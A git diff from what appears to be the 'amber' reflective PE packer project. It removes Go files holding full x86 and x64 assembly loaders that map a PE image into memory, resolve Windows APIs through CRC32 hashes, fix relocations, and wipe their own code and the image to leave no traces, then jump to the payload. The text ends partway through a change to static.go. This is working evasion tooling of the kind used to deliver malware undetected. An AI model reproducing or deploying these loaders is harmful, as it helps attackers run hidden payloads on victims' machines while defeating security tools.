PE files -const FixedLoaderX64 = ` -start: - pop rsi ; Get the address of image to rsi - call get_ip ; Push the current EIP to stack -get_ip: - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11 - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - push rax ; Allocate 8 bytes for lpflOldProtect - mov r9,rsp ; lpflOldProtect - mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE - mov rdx,qword [rsp+8] ; dwSize - mov rcx,rbx ; lpAddress - mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - xchg rsp,rbp ; Swap shadow stack - call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - xchg rsp,rbp ; Swap shadow stack - xor rax,rax ; Zero EAX - xor r14,r14 ; Zero R14 - xor r15,r15 ; Zero R15 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to RAX - jmp get_modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to RAX - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving stage is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get API address with hint - jmp insert_iat ; Insert the address of API to IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to RAX - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(RCX,RDX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rax ; ... - pop rcx ; Pop the image_size to RCX - push rbx ; Push the new base adress to stack - add [rsp],r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rbx],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rbx ; Increase image base index - loop memcpy ; Loop until zero - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 -%s - ret ; Return to AOE - -` diff --git a/pkg/fixed_loader_x86.go b/pkg/fixed_loader_x86.go deleted file mode 100644 index 2bc2347..0000000 --- a/pkg/fixed_loader_x86.go +++ /dev/null @@ -1,121 +0,0 @@ -package amber - -// FixedLoaderX86 contains the 64 bit PE loader for non-relocatable PE files -const FixedLoaderX86 = ` -start: ; - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call get_ip ; Push the current EIP to stack -get_ip: - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push ebx ; Save image base to stack - push 0x00000000 ; Allocate a DWORD variable inside stack - push esp ; lpflOldProtect - push 0x40 ; PAGE_EXECUTE_READWRITE - push dword [esp+0x14] ; dwSize - push ebx ; lpAddress - push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - pop eax ; Fix the stack - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0x00 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0x00 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,0x02 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],0x04 ; Increase the import names table index - add dword [esp+4],0x04 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0x00 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: -%s - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - jmp edi ; Call the AOE - -` diff --git a/pkg/iat_api_x64.go b/pkg/iat_api_x64.go deleted file mode 100644 index b7c03cc..0000000 --- a/pkg/iat_api_x64.go +++ /dev/null @@ -1,102 +0,0 @@ -package amber - -// IAT64 https://github.com/EgeBalci/IAT_API -const IAT64 = ` - -api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx,rdx ; Zero rdx - mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB - mov rdx,[rdx+0x18] ; Get PEB->Ldr - mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list - mov rdx,[rdx+0x20] ; Get this modules base address - push rdx ; Save the image base to stack (will use this alot) - add dx,word [rdx+0x3C] ; "PE" Header - mov edx,dword [rdx+0x90]; Import table RVA - add rdx,[rsp] ; Address of Import Table - push rdx ; Save the &IT to stack (will use this alot) - mov rsi,[rsp+8] ; Move the image base to RSI - sub rsp,0x10 ; Allocate space for import descriptor counter & hash - sub rdx,0x14 ; Prepare import descriptor pointer for processing -next_desc: - add rdx,0x14 ; Get the next import descriptor - cmp dword [rdx],0 ; Check if import descriptor is valid - jz not_found ; If import name array RVA is zero finish parsing - mov rsi,[rsp+0x10] ; Move import table address to RSI - mov si,[rdx+0xC] ; Get pointer to module name string RVA - xor rdi,rdi ; Clear RDI which will store the hash of the module name -loop_modname: - xor rax,rax ; Clear RAX for calculating the hash - lodsb ; Read in the next byte of the name - cmp al,'a' ; Some versions of windows use lower case module names - jl not_lowercase ; - sub al,0x20 ; If so normalize to uppercase -not_lowercase: - crc32 edi,al ; Calculate CRC32 of module name - crc32 edi,ah ; Feed NULL for unicode effect - test al,al ; Check if end of the module name - jnz loop_modname ; - ; We now have the module hash computed - mov [rsp+8],rdx ; Save the current position in the module listfor later - mov [rsp],edi ; Save the current module hash for later - ; Proceed to itterate the export address table, - mov ecx,dword [rdx] ; Get RVA of import names table - add rcx,[rsp+0x18] ; Add the image base and get the address of import names table - sub rcx,8 ; Go 4 bytes back -get_next_func: ; - mov rdi,[rsp] ; Reset module hash - add rcx,8 ; 8 byte forward - cmp dword [rcx],0 ; Check if end of INT - jz next_desc ; If no INT present, process the next import descriptor - mov esi,dword [rcx] ; Get the RVA of func name hint - btr rax,0x3F ; Check if the high order bit is set - btr rsi,0x3F ; Check if the high order bit is set - jc get_next_func ; If high order bit is not set resolve with INT entry - add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint - add rsi,2 ; Move 2 bytes forward to asci function name - ; now ecx returns to its regularly scheduled counter duties - ; Computing the module hash + function hash - ; And compare it to the one we want -loop_funcname: - xor rax,rax ; Clear RAX - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 of the function name - cmp al,ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp edi,r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT - mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor - add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor - sub rcx,rdx ; Find the function array index ? - add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA - add rax,rcx ; Add the function index - ; Now clean the stack - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop r8 ; Clear off the import table address of last module - pop r8 ; Clear off the image base address of last module - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; Pop off the return address - sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; Push back the return address - mov rax,[rax] ; Get the address of the desired API - jmp rax ; Jump to target function - ; We now automagically return to the correct caller... -not_found: - add rsp,0x48 ; Clean out the stack - ret ; Return to caller - -` diff --git a/pkg/iat_api_x86.go b/pkg/iat_api_x86.go deleted file mode 100644 index c9a36c9..0000000 --- a/pkg/iat_api_x86.go +++ /dev/null @@ -1,90 +0,0 @@ -package amber - -// IAT32 https://github.com/EgeBalci/IAT_API -const IAT32 = ` - -api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx,fs:[eax+0x30] ; Get a pointer to the PEB - mov edx,[edx+0x0C] ; Get PEB->Ldr - mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list - mov edx,[edx+0x10] ; Get this modules base address - push edx ; Save the image base to stack (will use this alot) - add edx,[edx+0x3C] ; "PE" Header - mov edx,[edx+0x80] ; Import table RVA - add edx,[esp] ; Address of Import Table - push edx ; Save the &IT to stack (will use this alot) - mov esi,[esp+4] ; Move the image base to ESI - sub esp,0x08 ; Allocate space for import descriptor counter & hash - sub edx,0x14 ; Prepare the import descriptor pointer for processing -next_desc: - add edx,0x14 ; Get the next import descriptor - cmp dword [edx],0x00 ; Check if import descriptor valid - jz not_found ; If import name array RVA is zero finish parsing - mov esi,[esp+0x08] ; Move the import table address to esi - mov si,[edx+0x0C] ; Get pointer to module name string RVA - xor edi,edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al,'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 edi,al ; Calculate CRC32 of module name - crc32 edi,ah ; Add NULL for unicode effect - test al,al ; Check if we read all - jnz loop_modname - ; We now have the module hash computed - mov [esp+4],edx ; Save the current position in the module list for later - mov [esp],edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov ecx,[edx] ; Get the RVA of import names table - add ecx,[esp+0x0C] ; Add image base and get address of import names table - sub ecx,0x04 ; Go 4 byte back -get_next_func: - mov edi,dword [esp] - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - add ecx,0x04 ; 4 byte forward - cmp dword [ecx],0x00 ; Check if end of INT - jz next_desc ; If no INT present, process the next import descriptor - mov esi,[ecx] ; Get the RVA of func name hint - cmp esi,0x80000000 ; Check if the high order bit is set - jns get_next_func ; If not, there is no function name string :( - add esi,[esp+0x0C] ; Add the image base and get the address of function hint - add dword esi,0x02 ; Move 2 bytes forward to asci function name - ; now ecx returns to its regularly scheduled counter duties - ; Computing the module hash + function hash - ; And compare it to the one we want -loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 of function name - test al,al ; Check if AL == 0 - jnz loop_funcname ; If we have not reached the null terminator, continue - cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT - mov edx,[edx] ; Get the import names table RVA of current import descriptor - add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor - sub ecx,edx ; Find the function array index ? - add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA - add eax,ecx ; Add the function index - ; Now we clean the stack - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ebx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ebx ; Push back the return address - mov eax,[eax] ; Get the address of the desired API - jmp eax ; Jump to target function - ; We now automagically return to the correct caller... -not_found: - add esp,0x0F ; Fix the stack - popad ; Restore all registers - ret ; Return - -` diff --git a/pkg/loader_x64.go b/pkg/loader_x64.go deleted file mode 100644 index 8057914..0000000 --- a/pkg/loader_x64.go +++ /dev/null @@ -1,160 +0,0 @@ -package amber - -// LoaderX64 contains the 64 bit PE loader for relocatable PE files -const LoaderX64 = ` -start: - pop rsi ; Get the address of image to rsi - call get_ip ; Push the current EIP to stack -get_ip: - cld ; Clear direction flags - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0] - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE - mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - mov rdx,[rsp] ; dwSize - xor rcx,rcx ; lpAddress - xchg rsp,rbp ; Swap shadow stack - mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - xchg rsp,rbp ; Swap shadow stack - mov rdi,rax ; Save the new base address to rdi - xor rax,rax ; Zero out the RAX - xor r8,r8 ; Zero out the R8 - xor r13,r13 ; Zero out the R13 - xor r14,r14 ; Zero out the R14 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size - mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA - add rax,rsi ; Base relocation table memory address - add rcx,rax ; End of base relocation table -calc_delta: - mov rdx,rdi ; Move the new base address to rdx - sub rdx,rbx ; Delta value - mov r13d,dword [rax] ; Move the reloc RVA to R13D - mov r14d,dword [rax+4] ; Move the reloc table size to R14D - add rax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp rcx,rax ; Check if the end of the reloc section - jle reloc_fin ; If yes goto fin - mov r13d,dword [rax] ; Move the new reloc RVA - mov r14d,dword [rax+4] ; Move the new reloc table size - add rax,8 ; Move 8 bytes -fix: - cmp r14w,8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov r8w,word [rax] ; Move the reloc desc to r8w - cmp r8w,0 ; Check if it is a padding word - je pass ; Pass padding bytes - and r8w,0x0FFF ; Get the last 12 bits - add r8d,r13d ; Add block RVA to desc value - add r8,rsi ; Add the start address of the image - add [r8],rdx ; Add the delta value to calculated absolute address -pass: - sub r14d,2 ; Decrease the index - add rax,2 ; Move to the next reloc desc. - xor r8,r8 ; Zero out r8 - jmp fix ; Loop -reloc_fin: ; All done ! - xor r14,r14 ; Zero out r14 - xor r15,r15 ; Zero out r15 - xor rcx,rcx ; Zero out rcx - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to eax - jmp get_modules ; Get other modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to eax - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA") - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress") - call api_call ; GetProcAddress(ebx,[esp+4]) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rcx ; Pop the ImageSize into RCX - push rdi ; Save ImageBase to stack - mov r13,rdi ; Copy the new base value to r13 - add r13,r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rdi],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rdi ; Increase image base index - loop memcpy ; Loop until zero - pop r13 ; Pop the image base to r13 - or rcx,-1 ; hProcess - xor rdx,rdx ; lpBaseAddress - xor r8,r8 ; hProcess - xchg rbp,rsp ; Swap shadow stack - mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache") - call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); - xchg rbp,rsp ; Swap shadow stack - add r13,r12 ; Add the address of entry value to image base - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 -%s - jmp r13 ; Call the AOE - -` diff --git a/pkg/loader_x86.go b/pkg/loader_x86.go deleted file mode 100644 index 117ba08..0000000 --- a/pkg/loader_x86.go +++ /dev/null @@ -1,159 +0,0 @@ -package amber - -// LoaderX86 contains the 32 bit PE loader for relocatable PE files -const LoaderX86 = ` -start: - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call get_ip ; Push the current EIP to stack -get_ip: - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push 0x40 ; PAGE_EXECUTE_READ_WRITE - push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - push dword [esp+0xC] ; dwSize - push 0 ; lpAddress - push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - push eax ; Save the new image base to stack - xor edx,edx ; Zero out the edx -relocate: - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,[eax+esi+0xA4] ; Base relocation table size - mov eax,[eax+esi+0xA0] ; Base relocation table RVA - add eax,esi ; Base relocation table memory address - add ecx,eax ; End of base relocation table -calc_delta: - mov edi,[esp] ; Move the new base address to EDI - sub edi,ebx ; Delta value - push dword [eax] ; Reloc RVA - push dword [eax+4] ; Reloc table size - add eax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp ecx,eax ; Check if the end of the reloc section ? - jle reloc_fin ; If yes goto fin - add esp,8 ; Deallocate old reloc RVA and reloc table size variables - push dword [eax] ; Push new reloc RVA - push dword [eax+4] ; Push new reloc table size - add eax,8 ; Move 8 bytes -fix: - cmp word [esp],8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov dx,word [eax] ; Move the reloc desc to dx - cmp dx,0 ; Check if it is a padding word - je pass - and dx,0x0FFF ; Get the last 12 bits - add edx,[esp+4] ; Add block RVA to desc value - add edx,esi ; Add the start address of the image - add dword [edx],edi ; Add the delta value to calculated absolute address -pass: - sub dword [esp],2 ; Decrease the index - add eax,2 ; Move to the next reloc desc. - xor edx,edx ; Zero out edx - jmp fix ; Loop -reloc_fin: - pop eax ; Deallocate all vars - pop eax ; ... - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],4 ; Increase the import names table index - add dword [esp+4],4 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: -%s - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - call edi ; Call the AOE - - -` diff --git a/pkg/static.go b/pkg/static.go index 5726360..d56be8b 100644 --- a/pkg/static.go +++ b/pkg/static.go @@ -1,7 +1,651 @@ package amber -// STUB32 contains the empty 32 bit PE file used for creating amber stub -var STUB32 = 